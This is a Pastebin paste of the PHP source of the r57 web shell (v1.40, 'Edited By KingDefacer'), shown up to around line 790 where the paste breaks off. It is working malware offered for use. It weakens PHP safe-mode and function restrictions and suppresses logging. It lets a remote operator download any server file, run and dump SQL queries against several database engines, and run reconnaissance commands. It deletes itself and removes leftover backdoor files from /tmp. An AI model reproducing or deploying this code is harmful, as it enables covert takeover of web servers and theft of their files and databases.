API tools faq
paste
blackcyberrootshell

[ + ] r57 v1.40 Shell [ + ]

blackcyberrootshell
Feb 27th, 2015
1,106
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 160.80 KB | None | 0 0
raw download clone embed print report
  1. <?
  2.  
  3. $language='eng';
  4.  
  5. $auth = 0;
  6.  
  7. $name='8cd59f852a590eb0565c98356ecb0b84';
  8. $pass='8cd59f852a590eb0565c98356ecb0b84';
  9.  
  10. error_reporting(0);
  11.  
  12. @ini_restore("safe_mode");
  13. @ini_restore("open_basedir");
  14. @ini_restore("safe_mode_include_dir");
  15. @ini_restore("safe_mode_exec_dir");
  16. @ini_restore("disable_functions");
  17. @ini_restore("allow_url_fopen");
  18.  
  19. @ini_set('error_log',NULL);
  20. @ini_set('log_errors',0);
  21.  
  22. if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;};
  23.  
  24. define("starttime",@getmicrotime());
  25. set_magic_quotes_runtime(0);
  26. @set_time_limit(0);
  27. @ini_set('max_execution_time',0);
  28. @ini_set('output_buffering',0);
  29. $safe_mode = @ini_get('safe_mode');
  30. #if(@function_exists('ini_get')){$safe_mode = @ini_get('safe_mode');}else{$safe_mode=1;};
  31. $version = '1.40';
  32. if(@version_compare(@phpversion(), '4.1.0') == -1)
  33.  {
  34.  $_POST   = &$HTTP_POST_VARS;
  35.  $_GET    = &$HTTP_GET_VARS;
  36.  $_SERVER = &$HTTP_SERVER_VARS;
  37.  $_COOKIE = &$HTTP_COOKIE_VARS;
  38.  }
  39. if (@get_magic_quotes_gpc())
  40.  {
  41.  foreach ($_POST as $k=>$v)
  42.   {
  43.   $_POST[$k] = stripslashes($v);
  44.   }
  45.  foreach ($_COOKIE as $k=>$v)
  46.   {
  47.   $_COOKIE[$k] = stripslashes($v);
  48.   }
  49.  }
  50.  
  51. if($auth == 1) {
  52. if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
  53.    {
  54.    header('WWW-Authenticate: Basic realm="HELLO!"');
  55.    header('HTTP/1.0 401 Unauthorized');
  56.    exit("<b>Access Denied</b>");
  57.    }
  58. }  
  59. $head = '
  60. <html>
  61. <head>
  62. <title>r57Shell Edited By KingDefacer</title>
  63. <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
  64.  
  65. <STYLE>
  66. tr {
  67. BORDER-RIGHT:  #aaaaaa 1px solid;
  68. BORDER-TOP:    #eeeeee 1px solid;
  69. BORDER-LEFT:   #eeeeee 1px solid;
  70. BORDER-BOTTOM: #aaaaaa 1px solid;
  71. color: #000000;
  72. }
  73. td {
  74. BORDER-RIGHT:  #aaaaaa 1px solid;
  75. BORDER-TOP:    #eeeeee 1px solid;
  76. BORDER-LEFT:   #eeeeee 1px solid;
  77. BORDER-BOTTOM: #aaaaaa 1px solid;
  78. color: #000000;
  79. }
  80. .table1 {
  81. BORDER: 0px;
  82. BACKGROUND-COLOR: #D4D0C8;
  83. color: #000000;
  84. }
  85. .td1 {
  86. BORDER: 0px;
  87. font: 7pt Verdana;
  88. color: #000000;
  89. }
  90. .tr1 {
  91. BORDER: 0px;
  92. color: #000000;
  93. }
  94. table {
  95. BORDER:  #eeeeee 1px outset;
  96. BACKGROUND-COLOR: #D4D0C8;
  97. color: #000000;
  98. }
  99. input {
  100. BORDER-RIGHT:  #ffffff 1px solid;
  101. BORDER-TOP:    #999999 1px solid;
  102. BORDER-LEFT:   #999999 1px solid;
  103. BORDER-BOTTOM: #ffffff 1px solid;
  104. BACKGROUND-COLOR: #e4e0d8;
  105. font: 8pt Verdana;
  106. color: #000000;
  107. }
  108. select {
  109. BORDER-RIGHT:  #ffffff 1px solid;
  110. BORDER-TOP:    #999999 1px solid;
  111. BORDER-LEFT:   #999999 1px solid;
  112. BORDER-BOTTOM: #ffffff 1px solid;
  113. BACKGROUND-COLOR: #e4e0d8;
  114. font: 8pt Verdana;
  115. color: #000000;;
  116. }
  117. submit {
  118. BORDER:  buttonhighlight 2px outset;
  119. BACKGROUND-COLOR: #e4e0d8;
  120. width: 30%;
  121. color: #000000;
  122. }
  123. textarea {
  124. BORDER-RIGHT:  #ffffff 1px solid;
  125. BORDER-TOP:    #999999 1px solid;
  126. BORDER-LEFT:   #999999 1px solid;
  127. BORDER-BOTTOM: #ffffff 1px solid;
  128. BACKGROUND-COLOR: #e4e0d8;
  129. font: Fixedsys bold;
  130. color: #000000;
  131. }
  132. BODY {
  133. margin: 1px;
  134. color: #000000;
  135. background-color: #e4e0d8;
  136. }
  137. A:link {COLOR:red; TEXT-DECORATION: none}
  138. A:visited { COLOR:red; TEXT-DECORATION: none}
  139. A:active {COLOR:red; TEXT-DECORATION: none}
  140. A:hover {color:blue;TEXT-DECORATION: none}
  141. </STYLE>
  142. <script language=\'javascript\'>
  143. function hide_div(id)
  144. {
  145.  document.getElementById(id).style.display = \'none\';
  146.  document.cookie=id+\'=0;\';
  147. }
  148. function show_div(id)
  149. {
  150.  document.getElementById(id).style.display = \'block\';
  151.  document.cookie=id+\'=1;\';
  152. }
  153. function change_divst(id)
  154. {
  155.  if (document.getElementById(id).style.display == \'none\')
  156.    show_div(id);
  157.  else
  158.    hide_div(id);
  159. }
  160.  
  161.  
  162. </script>';
  163. class zipfile
  164. {
  165.     var $datasec      = array();
  166.     var $ctrl_dir     = array();
  167.     var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  168.     var $old_offset   = 0;
  169.     function unix2DosTime($unixtime = 0) {
  170.         $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  171.         if ($timearray['year'] < 1980) {
  172.             $timearray['year']    = 1980;
  173.             $timearray['mon']     = 1;
  174.             $timearray['mday']    = 1;
  175.             $timearray['hours']   = 0;
  176.             $timearray['minutes'] = 0;
  177.             $timearray['seconds'] = 0;
  178.         }
  179.         return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  180.                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  181.     }
  182.     function addFile($data, $name, $time = 0)
  183.     {
  184.         $name     = str_replace('\\', '/', $name);
  185.         $dtime    = dechex($this->unix2DosTime($time));
  186.         $hexdtime = '\x' . $dtime[6] . $dtime[7]
  187.                   . '\x' . $dtime[4] . $dtime[5]
  188.                   . '\x' . $dtime[2] . $dtime[3]
  189.                   . '\x' . $dtime[0] . $dtime[1];
  190.         eval('$hexdtime = "' . $hexdtime . '";');
  191.         $fr   = "\x50\x4b\x03\x04";
  192.         $fr   .= "\x14\x00";            
  193.         $fr   .= "\x00\x00";            
  194.         $fr   .= "\x08\x00";            
  195.         $fr   .= $hexdtime;            
  196.         $unc_len = strlen($data);
  197.         $crc     = crc32($data);
  198.         $zdata   = gzcompress($data);
  199.         $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  200.         $c_len   = strlen($zdata);
  201.         $fr      .= pack('V', $crc);            
  202.         $fr      .= pack('V', $c_len);          
  203.         $fr      .= pack('V', $unc_len);        
  204.         $fr      .= pack('v', strlen($name));    
  205.         $fr      .= pack('v', 0);                
  206.         $fr      .= $name;
  207.         $fr .= $zdata;
  208.         $this -> datasec[] = $fr;
  209.         $cdrec = "\x50\x4b\x01\x02";
  210.         $cdrec .= "\x00\x00";                
  211.         $cdrec .= "\x14\x00";                
  212.         $cdrec .= "\x00\x00";                
  213.         $cdrec .= "\x08\x00";                
  214.         $cdrec .= $hexdtime;                
  215.         $cdrec .= pack('V', $crc);          
  216.         $cdrec .= pack('V', $c_len);        
  217.         $cdrec .= pack('V', $unc_len);      
  218.         $cdrec .= pack('v', strlen($name) );
  219.         $cdrec .= pack('v', 0 );            
  220.         $cdrec .= pack('v', 0 );            
  221.         $cdrec .= pack('v', 0 );            
  222.         $cdrec .= pack('v', 0 );            
  223.         $cdrec .= pack('V', 32 );            
  224.         $cdrec .= pack('V', $this -> old_offset );
  225.         $this -> old_offset += strlen($fr);
  226.         $cdrec .= $name;
  227.         $this -> ctrl_dir[] = $cdrec;
  228.     }
  229.     function file()
  230.     {
  231.         $data    = implode('', $this -> datasec);
  232.         $ctrldir = implode('', $this -> ctrl_dir);
  233.         return
  234.             $data .
  235.             $ctrldir .
  236.             $this -> eof_ctrl_dir .
  237.             pack('v', sizeof($this -> ctrl_dir)) .  
  238.             pack('v', sizeof($this -> ctrl_dir)) .  
  239.             pack('V', strlen($ctrldir)) .          
  240.             pack('V', strlen($data)) .              
  241.             "\x00\x00";              
  242.     }
  243. }
  244.  
  245. function compress(&$filename,&$filedump,$compress)
  246.  {
  247.     global $content_encoding;
  248.     global $mime_type;
  249.     if ($compress == 'bzip' && @function_exists('bzcompress'))
  250.      {
  251.         $filename  .= '.bz2';
  252.         $mime_type = 'application/x-bzip2';
  253.         $filedump = bzcompress($filedump);
  254.      }
  255.      else if ($compress == 'gzip' && @function_exists('gzencode'))
  256.      {
  257.         $filename  .= '.gz';
  258.         $content_encoding = 'x-gzip';
  259.         $mime_type = 'application/x-gzip';
  260.         $filedump = gzencode($filedump);
  261.      }
  262.      else if ($compress == 'zip' && @function_exists('gzcompress'))
  263.      {
  264.      $filename .= '.zip';
  265.         $mime_type = 'application/zip';
  266.         $zipfile = new zipfile();
  267.         $zipfile -> addFile($filedump, substr($filename, 0, -4));
  268.         $filedump = $zipfile -> file();
  269.      }
  270.      else
  271.      {
  272.      $mime_type = 'application/octet-stream';
  273.      }
  274.  }
  275.  
  276. function moreread($temp){
  277. global $lang,$language;
  278. $str='';
  279.   if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('fclose')){
  280.    $ffile = @fopen($temp, "r");
  281.    while(!@feof($ffile)){$str .= @fgets($ffile);}
  282.    fclose($ffile);
  283.   }elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')){
  284.    $ffile = @fopen($temp, "r");
  285.    $str = @fread($ffile, @filesize($temp));
  286.    @fclose($ffile);
  287.   }elseif(@function_exists('file')){
  288.    $ffiles = @file ($temp);
  289.    foreach ($ffiles as $ffile) { $str .= $ffile; }
  290.   }elseif(@function_exists('file_get_contents')){
  291.    $str = @file_get_contents($temp);
  292.   }elseif(@function_exists('readfile')){
  293.    $str = @readfile($temp);
  294.   }else{echo $lang[$language.'_text56'];}
  295. return $str;
  296. }
  297.  
  298. function readzlib($filename,$temp=''){
  299. global $lang,$language;
  300. $str='';
  301.   if(!$temp) {$temp=tempnam(@getcwd(), "copytemp");};
  302.   if(@copy("compress.zlib://".$filename, $temp)) {
  303.    $str = moreread($temp);
  304.   } else echo $lang[$language.'_text119'];
  305.   @unlink($temp);
  306. return $str;
  307. }
  308.  
  309. function mailattach($to,$from,$subj,$attach)
  310.  {
  311.  $headers  = "From: $from\r\n";
  312.  $headers .= "MIME-Version: 1.0\r\n";
  313.  $headers .= "Content-Type: ".$attach['type'];
  314.  $headers .= "; name=\"".$attach['name']."\"\r\n";
  315.  $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
  316.  $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
  317.  if(mail($to,$subj,"",$headers)) { return 1; }
  318.  return 0;
  319.  }
  320. class my_sql
  321.  {
  322.  var $host = 'localhost';
  323.  var $port = '';
  324.  var $user = '';
  325.  var $pass = '';
  326.  var $base = '';
  327.  var $db   = '';
  328.  var $connection;
  329.  var $res;        
  330.  var $error;      
  331.  var $rows;      
  332.  var $columns;    
  333.  var $num_rows;  
  334.  var $num_fields;
  335.  var $dump;      
  336.  
  337.  function connect()
  338.   {  
  339.   switch($this->db)
  340.      {
  341.    case 'MySQL':
  342.     if(empty($this->port)) { $this->port = '3306'; }
  343.     if(!@function_exists('mysql_connect')) return 0;
  344.     $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
  345.     if(is_resource($this->connection)) return 1;
  346.    break;
  347.      case 'MSSQL':
  348.       if(empty($this->port)) { $this->port = '1433'; }
  349.     if(!@function_exists('mssql_connect')) return 0;
  350.     $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
  351.       if($this->connection) return 1;
  352.      break;
  353.      case 'PostgreSQL':
  354.       if(empty($this->port)) { $this->port = '5432'; }
  355.       $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
  356.       if(!@function_exists('pg_connect')) return 0;
  357.       $this->connection = @pg_connect($str);
  358.       if(is_resource($this->connection)) return 1;
  359.      break;
  360.      case 'Oracle':
  361.       if(!@function_exists('ocilogon')) return 0;
  362.       $this->connection = @ocilogon($this->user, $this->pass, $this->base);
  363.       if(is_resource($this->connection)) return 1;
  364.      break;
  365.      }
  366.     return 0;  
  367.   }
  368.  
  369.  function select_db()
  370.   {
  371.    switch($this->db)
  372.     {
  373.   case 'MySQL':
  374.    if(@mysql_select_db($this->base,$this->connection)) return 1;
  375.     break;
  376.     case 'MSSQL':
  377.    if(@mssql_select_db($this->base,$this->connection)) return 1;
  378.     break;
  379.     case 'PostgreSQL':
  380.      return 1;
  381.     break;
  382.     case 'Oracle':
  383.      return 1;
  384.     break;
  385.     }
  386.    return 0;  
  387.   }
  388.  
  389.  function query($query)
  390.   {
  391.    $this->res=$this->error='';
  392.    switch($this->db)
  393.     {
  394.   case 'MySQL':
  395.      if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
  396.       {
  397.       $this->error = @mysql_error($this->connection);
  398.       return 0;
  399.       }
  400.      else if(is_resource($this->res)) { return 1; }                  
  401.      return 2;                                                          
  402.   break;
  403.     case 'MSSQL':
  404.      if(false===($this->res=@mssql_query($query,$this->connection)))
  405.       {
  406.       $this->error = 'Query error';
  407.       return 0;
  408.       }
  409.       else if(@mssql_num_rows($this->res) > 0) { return 1; }
  410.      return 2;    
  411.     break;
  412.     case 'PostgreSQL':
  413.      if(false===($this->res=@pg_query($this->connection,$query)))
  414.       {
  415.       $this->error = @pg_last_error($this->connection);
  416.       return 0;
  417.       }
  418.       else if(@pg_num_rows($this->res) > 0) { return 1; }
  419.      return 2;
  420.     break;
  421.     case 'Oracle':
  422.      if(false===($this->res=@ociparse($this->connection,$query)))
  423.       {
  424.       $this->error = 'Query parse error';
  425.       }
  426.      else
  427.       {
  428.       if(@ociexecute($this->res))
  429.        {
  430.        if(@ocirowcount($this->res) != 0) return 2;
  431.        return 1;
  432.        }
  433.       $error = @ocierror();
  434.       $this->error=$error['message'];
  435.       }
  436.     break;
  437.     }
  438.   return 0;
  439.   }
  440.  function get_result()
  441.   {
  442.    $this->rows=array();
  443.    $this->columns=array();
  444.    $this->num_rows=$this->num_fields=0;
  445.    switch($this->db)
  446.     {
  447.   case 'MySQL':
  448.    $this->num_rows=@mysql_num_rows($this->res);
  449.    $this->num_fields=@mysql_num_fields($this->res);
  450.    while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
  451.    @mysql_free_result($this->res);
  452.    if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  453.     break;
  454.     case 'MSSQL':
  455.    $this->num_rows=@mssql_num_rows($this->res);
  456.    $this->num_fields=@mssql_num_fields($this->res);    
  457.    while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
  458.    @mssql_free_result($this->res);
  459.    if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
  460.     break;
  461.     case 'PostgreSQL':
  462.    $this->num_rows=@pg_num_rows($this->res);
  463.    $this->num_fields=@pg_num_fields($this->res);  
  464.    while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
  465.    @pg_free_result($this->res);
  466.    if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  467.     break;
  468.     case 'Oracle':
  469.      $this->num_fields=@ocinumcols($this->res);
  470.      while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
  471.      @ocifreestatement($this->res);
  472.      if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  473.     break;
  474.     }
  475.    return 0;
  476.   }
  477.  function dump($table)
  478.   {
  479.    if(empty($table)) return 0;
  480.    $this->dump=array();
  481.    $this->dump[0] = '##';
  482.    $this->dump[1] = '## --------------------------------------- ';
  483.    $this->dump[2] = '##  Created: '.date ("d/m/Y H:i:s");
  484.    $this->dump[3] = '## Database: '.$this->base;
  485.    $this->dump[4] = '##    Table: '.$table;
  486.    $this->dump[5] = '## --------------------------------------- ';
  487.    switch($this->db)
  488.     {
  489.   case 'MySQL':
  490.    $this->dump[0] = '## MySQL dump';
  491.    if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
  492.    if(!$this->get_result()) return 0;
  493.    $this->dump[] = $this->rows[0]['Create Table'];
  494.      $this->dump[] = '## --------------------------------------- ';
  495.    if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
  496.    if(!$this->get_result()) return 0;
  497.    for($i=0;$i<$this->num_rows;$i++)
  498.     {
  499.       foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
  500.     $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  501.     }
  502.     break;
  503.     case 'MSSQL':
  504.      $this->dump[0] = '## MSSQL dump';
  505.      if($this->query('SELECT * FROM '.$table)!=1) return 0;
  506.    if(!$this->get_result()) return 0;
  507.    for($i=0;$i<$this->num_rows;$i++)
  508.     {
  509.       foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
  510.     $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  511.     }
  512.     break;
  513.     case 'PostgreSQL':
  514.      $this->dump[0] = '## PostgreSQL dump';
  515.      if($this->query('SELECT * FROM '.$table)!=1) return 0;
  516.    if(!$this->get_result()) return 0;
  517.    for($i=0;$i<$this->num_rows;$i++)
  518.     {
  519.       foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
  520.     $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  521.     }
  522.     break;
  523.     case 'Oracle':
  524.       $this->dump[0] = '## ORACLE dump';
  525.       $this->dump[]  = '## under construction';
  526.     break;
  527.     default:
  528.      return 0;
  529.     break;
  530.     }
  531.    return 1;
  532.   }
  533.  function close()
  534.   {
  535.    switch($this->db)
  536.     {
  537.   case 'MySQL':
  538.    @mysql_close($this->connection);
  539.     break;
  540.     case 'MSSQL':
  541.      @mssql_close($this->connection);
  542.     break;
  543.     case 'PostgreSQL':
  544.      @pg_close($this->connection);
  545.     break;
  546.     case 'Oracle':
  547.      @oci_close($this->connection);
  548.     break;
  549.     }
  550.   }
  551.  function affected_rows()
  552.   {
  553.    switch($this->db)
  554.     {
  555.   case 'MySQL':
  556.    return @mysql_affected_rows($this->res);
  557.     break;
  558.     case 'MSSQL':
  559.      return @mssql_affected_rows($this->res);
  560.     break;
  561.     case 'PostgreSQL':
  562.      return @pg_affected_rows($this->res);
  563.     break;
  564.     case 'Oracle':
  565.      return @ocirowcount($this->res);
  566.     break;
  567.     default:
  568.      return 0;
  569.     break;
  570.     }
  571.   }
  572.  }
  573. if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
  574.  {
  575.   if($file=@fopen($_POST['d_name'],"r")){ $filedump = @fread($file,@filesize($_POST['d_name'])); @fclose($file); }
  576.   else if ($file=readzlib($_POST['d_name'])) { $filedump = $file; } else { err(1,$_POST['d_name']); $_POST['cmd']=""; }
  577.   if(isset($_POST['cmd']))
  578.    {
  579.     @ob_clean();
  580.     $filename = @basename($_POST['d_name']);
  581.     $content_encoding=$mime_type='';
  582.     compress($filename,$filedump,$_POST['compress']);
  583.     if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
  584.     header("Content-type: ".$mime_type);
  585.     header("Content-disposition: attachment; filename=\"".$filename."\";");  
  586.     echo $filedump;
  587.     exit();
  588.    }
  589.  }
  590. if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
  591. if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query")
  592.  {
  593.  echo $head;
  594.  $sql = new my_sql();
  595.  $sql->db   = $_POST['db'];
  596.  $sql->host = $_POST['db_server'];
  597.  $sql->port = $_POST['db_port'];
  598.  $sql->user = $_POST['mysql_l'];
  599.  $sql->pass = $_POST['mysql_p'];
  600.  $sql->base = $_POST['mysql_db'];
  601.  $querys = @explode(';',$_POST['db_query']);
  602.  echo '<body bgcolor=#e4e0d8>';
  603.  if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
  604.   else
  605.    {
  606.    if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
  607.    else
  608.     {
  609.     foreach($querys as $num=>$query)
  610.      {
  611.       if(strlen($query)>5)
  612.       {
  613.       echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
  614.       switch($sql->query($query))
  615.        {
  616.        case '0':
  617.        echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
  618.        break;
  619.        case '1':
  620.        if($sql->get_result())
  621.         {
  622.        echo "<table width=100%>";
  623.         foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
  624.        $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", $sql->columns);
  625.         echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
  626.         for($i=0;$i<$sql->num_rows;$i++)
  627.          {
  628.          foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
  629.          $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]);
  630.          echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>';
  631.          }
  632.         echo "</table>";
  633.         }
  634.        break;
  635.        case '2':
  636.        $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
  637.        echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
  638.        break;
  639.        }
  640.       }
  641.      }
  642.     }
  643.    }  
  644.  echo "<br><form name=form method=POST>";
  645.  echo in('hidden','db',0,$_POST['db']);
  646.  echo in('hidden','db_server',0,$_POST['db_server']);
  647.  echo in('hidden','db_port',0,$_POST['db_port']);
  648.  echo in('hidden','mysql_l',0,$_POST['mysql_l']);
  649.  echo in('hidden','mysql_p',0,$_POST['mysql_p']);
  650.  echo in('hidden','mysql_db',0,$_POST['mysql_db']);
  651.  echo in('hidden','cmd',0,'db_query');
  652.  echo "<div align=center>";
  653.  echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
  654.  echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
  655.  echo "</form>";
  656.  echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
  657.  }
  658. if(isset($_GET['delete']))
  659.  {
  660.    @unlink(__FILE__);
  661.  }
  662. if(isset($_GET['tmp']))
  663.  {
  664.    @unlink("/tmp/bdpl");
  665.    @unlink("/tmp/back");
  666.    @unlink("/tmp/bd");
  667.    @unlink("/tmp/bd.c");
  668.    @unlink("/tmp/dp");
  669.    @unlink("/tmp/dpc");
  670.    @unlink("/tmp/dpc.c");
  671.    @unlink("/tmp/prxpl");
  672.    @unlink("/tmp/grep.txt");
  673.  }
  674. if(isset($_GET['phpini']))
  675. {
  676. echo $head;
  677. function U_value($value)
  678.  {
  679.  if ($value == '') return '<i>no value</i>';
  680.  if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
  681.  if ($value === null) return 'NULL';
  682.  if (@is_object($value)) $value = (array) $value;
  683.  if (@is_array($value))
  684.  {
  685.  @ob_start();
  686.  print_r($value);
  687.  $value = @ob_get_contents();
  688.  @ob_end_clean();
  689.  }
  690.  return U_wordwrap((string) $value);
  691.  }
  692. function U_wordwrap($str)
  693.  {
  694.  $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
  695.  return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
  696.  }
  697. if (@function_exists('ini_get_all'))
  698.  {
  699.  $r = '';
  700.  echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
  701.  foreach (@ini_get_all() as $key=>$value)
  702.   {
  703.   $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
  704.   }
  705.  echo $r;
  706.  echo '</table>';
  707.  }
  708. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  709. die();
  710. }
  711. if(isset($_GET['cpu']))
  712.  {
  713.    echo $head;
  714.    echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
  715.    $cpuf = @file("cpuinfo");
  716.    if($cpuf)
  717.     {
  718.       $c = @sizeof($cpuf);
  719.       for($i=0;$i<$c;$i++)
  720.         {
  721.           $info = @explode(":",$cpuf[$i]);
  722.           if($info[1]==""){ $info[1]="---"; }
  723.           $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  724.         }
  725.       echo $r;
  726.     }
  727.    else
  728.     {
  729.       echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
  730.     }
  731.    echo '</table>';
  732.    echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  733.    die();
  734.  }
  735. if(isset($_GET['mem']))
  736.  {
  737.    echo $head;
  738.    echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
  739.    $memf = @file("meminfo");
  740.    if($memf)
  741.     {
  742.       $c = sizeof($memf);
  743.       for($i=0;$i<$c;$i++)
  744.         {
  745.           $info = explode(":",$memf[$i]);
  746.           if($info[1]==""){ $info[1]="---"; }
  747.           $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  748.         }
  749.       echo $r;
  750.     }
  751.    else
  752.     {
  753.       echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
  754.     }
  755.    echo '</table>';
  756.    echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  757.    die();
  758.  }
  759.  
  760. if(isset($_GET['dmesg(8)']))
  761.  {$_POST['cmd'] = 'dmesg(8)';}
  762. if(isset($_GET['free']))
  763.  {$_POST['cmd'] = 'free';}
  764. if(isset($_GET['vmstat']))
  765.  {$_POST['cmd'] = 'vmstat';}
  766. if(isset($_GET['lspci']))
  767.  {$_POST['cmd'] = 'lspci';}
  768. if(isset($_GET['lsdev']))
  769.  {$_POST['cmd'] = 'lsdev';}
  770. if(isset($_GET['procinfo']))
  771.  {$_POST['cmd']='cat /proc/cpuinfo';}
  772. if(isset($_GET['version']))
  773.  {$_POST['cmd']='cat /proc/version';}
  774. if(isset($_GET['interrupts']))
  775.  {$_POST['cmd']='cat /proc/interrupts';}
  776. if(isset($_GET['realise1']))
  777.  {$_POST['cmd'] = 'cat /etc/*realise';}
  778. if(isset($_GET['service']))
  779.  {$_POST['cmd'] = 'service --status-all';}
  780. if(isset($_GET['ifconfig']))
  781.  {$_POST['cmd'] = 'ifconfig';}
  782. if(isset($_GET['w']))
  783.  {$_POST['cmd'] = 'w';}
  784. if(isset($_GET['who']))
  785.  {$_POST['cmd'] = 'who';}
  786. if(isset($_GET['uptime']))
  787.  {$_POST['cmd'] = 'uptime';}
  788. if(isset($_GET['last']))
  789.  {$_POST['cmd'] = 'last -n 10';}
  790. if(isset($_GET['psaux']))
